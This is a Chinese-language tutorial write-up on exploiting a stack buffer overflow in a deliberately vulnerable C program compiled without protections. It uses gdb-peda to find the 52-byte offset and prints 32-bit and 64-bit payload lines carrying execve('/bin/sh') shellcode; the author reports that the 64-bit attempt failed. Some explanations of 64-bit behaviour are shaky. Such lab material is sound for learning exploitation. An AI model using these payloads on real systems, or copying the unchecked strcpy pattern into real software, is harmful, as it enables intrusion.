0x00 工具介绍
* Ubuntu系统(kali也可以)
* gdb-peda 这个是神器,二进制分析必备神器
0x01 程序源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>int main(int argc, char * argv[])
{
char buf[40];
memset(buf,'\0',sizeof(buf));
if(argc != 2)
{
printf("%s <arg>\n",argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s\n", buf);return 0;
}
0x02 32位程序分析
* gcc -m32 -fno-stack-protector -z execstack -z norelro -o pwn pwn.c //什么安全机制都不加
* 可以从源码中直接看出极有可能会有栈溢出漏洞,buf有40字节。开始动手。。。
* 首先先用checksec 检测一下安全机制。发现什么都没有开。
* 用正常的输入方法走一遍,发现EBP的地址减去输入存放的地址 是等于 48的。(简单说明一下EBP和ESP的关系,在ret返回之前,先把EBP里面的后四个字节压入栈中,并等待ret取ESP栈中的值返回。也就是说只要我们能把EBP的这个四个字节给淹没了,那我们就几乎成功了!)
* 果然和我们猜想的是一样的,只要能把 0xf7e24af3的地址淹没了,就可以返回到我们想要返回的地址,总共52个字节之后就可以淹没。
* 上面是一种比较麻烦的办法找到返回的地址,接下来有更加便捷,也是推荐使用的方法。
* pattern create 70 直接创建有规律的70个字节的字符串,再用python 直接将这些字符串运行。当然也可以直接r 字符串。
* 发现在这个地址处断了。
* 再用 pattern 查看这个地址的位置,发现是52,很明显52字节之后就是我们要淹没的地址了。
* 接下来就是调用shellcode了,peda有个很好的功能,就是直接生成shellcode。
* 我们要在箭头处设置一个shellcode,也就是0xffffd560。
* r `python -c'print "A"*8 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"A"*20 + "\x60\xd5\xff\xff"'` 运行即可。
0x03 64位程序分析
* gcc -fno-stack-protector -z execstack -z norelro -o pwn pwn.c //什么安全机制都不加
* 64位和32位不同,64位中如果给的参数过大的话,它报错了,但是就是不告诉你哪个地址出错了。
* 如图可以看出RBP的地址是0x7fffffffe470,而返回的地址是0x7fffffffe478,移动了8位,很明显这是因为是64位的程序而导致的,如上面32位的程序则是移动4位,所以只要我们淹没了这个0x7fffffffe478就可以得到flag了。我们可以计算出 参数的字节 = 0x30 + 8 + 6 = 62 字节 8就是RBP那八个字节的0,6字节则是要淹没的地址。
注意!!! 不能超过那6字节也就是不能超过64字节,否则不会报错地址,这应该就是64位的保护机制了。也不能注入 \x00
* 当输入 r `python -c 'print "\x90"*8+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"\x90"*24+"\x02\xe4\xff\xff\xff\7f"'`时,会出现奇怪的数值,这应该也是防止栈溢出的机制吧。 64位栈溢出暂时失败。。。。。。。
0x04 小结
很显然64位程序比32位要安全的多,许多的保护机制,更加难以渗透,也许是本人的能力还不够,有很大的进步空间,希望下次遇到64位程序时能攻进去!